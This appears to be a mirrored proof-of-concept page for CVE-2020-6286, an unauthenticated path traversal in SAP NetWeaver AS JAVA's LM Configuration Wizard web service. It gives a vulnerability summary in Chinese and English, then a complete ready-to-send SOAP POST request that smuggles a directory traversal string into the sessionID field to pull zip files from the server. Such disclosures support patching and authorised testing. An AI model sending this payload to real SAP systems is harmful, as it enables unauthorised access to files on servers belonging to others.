CVE-2020-6286 PoC — SAP NetWeaver AS JAVA 路径遍历漏洞

Source

https://github.com/murataydemir/CVE-2020-6286

Associated Vulnerability

Title:SAP NetWeaver AS JAVA 路径遍历漏洞 (CVE-2020-6286)
Description:SAP Netweaver是德国思爱普（SAP）公司的一套面向服务的集成化应用平台。该平台主要为SAP应用程序提供开发和运行环境。 SAP NetWeaver AS JAVA（LM Configuration Wizard）中的Web服务存在路径遍历漏洞。该漏洞源于网络系统或产品未能正确地过滤资源或文件路径中的特殊元素。攻击者可利用该漏洞访问受限目录之外的位置。以下产品及版本受到影响：SAP NetWeaver AS JAVA 7.30版本，7.31版本，7.34版本，7.50版本。

Description

[CVE-2020-6286] SAP NetWeaver AS JAVA (LM Configuration Wizard) Directory Traversal

Readme

<b>[CVE-2020-6286] SAP NetWeaver AS JAVA (LM Configuration Wizard) Directory Traversal</b>
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
SAP NetWeaver is SAP’s integrated technology platform and the technical foundation of all SAP applications since SAP Business Suite. SAP NetWeaver is a service-oriented application and integration platform that provides a development and running environment for SAP applications, and can also be used for custom development and integration with other applications and systems. The insufficient input path validation of certain parameter in the web service of SAP NetWeaver AS JAVA (LM Configuration Wizard), versions `7.30, 7.31, 7.40, 7.50`, allows an <i>unauthenticated</i> attacker to exploit a method to download zip files to a specific directory, leading to Path Traversal.

For safety proof of concept, you can use the following request. If zip file is exist on remote host, then downloads `111.zip` file
```
POST /CTCWebService/CTCWebServiceBean HTTP/1.1
Host: host
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:78.0) Gecko/20100101 Firefox/78.0
Content-Type: text/xml;charset=UTF-8
SOAPAction: 
Content-Length: 340

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn="urn:CTCWebServiceSi">
    <soapenv:Header />
    <soapenv:Body>
        <urn:queryProtocol>
            <sessionID>/../../../../../../../../../../../../../../../../../..111</sessionID>
        </urn:queryProtocol>
    </soapenv:Body>
</soapenv:Envelope>
```

File Snapshot


 [4.0K]  /data/pocs/4f9c6692459686420a82a2876f2a9cf70f0370a0
└── [1.6K]  README.md

0 directories, 1 file

Shenlong Bot has cached this for you

Remarks

1. It is advised to access via the original source first.

2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).

3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.

Goal Reached Thanks to every supporter — we hit 100%!